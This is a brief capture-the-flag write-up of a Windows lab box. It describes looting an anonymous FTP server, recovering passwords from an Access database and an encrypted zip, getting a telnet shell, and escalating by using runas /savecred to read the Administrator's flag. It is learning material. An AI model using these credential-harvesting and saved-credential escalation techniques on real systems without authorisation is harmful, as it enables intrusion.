```

FTP had anonymous login enabled, so I got few files from the FTP server. Files: `'Access Control.zip' and backup.mdb`

From `backup.mdb` file I got `auth_user` data and got the password for `engineer` account with password `access4u@security` which let me unlock the `'Access Control.zip'` file which revealed password for another account, `security` with password as `4Cc3ssC0ntr0ller`

The `security` account had access to the `telnet service` which got me shell and got me the `user flag`.

### User Own

```bash
C:\Users\security\Desktop>type user.txt                                    
ff1f3***
```

### Root Own

```bash
C:\Users\Public>runas /savecred /user:ACCESS\Administrator "cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\Users\Public\FLAG"
C:\Users\Public>type FLAG            
6e158***
```

### Learning Outcome

This was a fun box, I was not aware of `runas` tool and the `savecred` flag. Also, I learned about how to handle `MS Access files on Linux`.
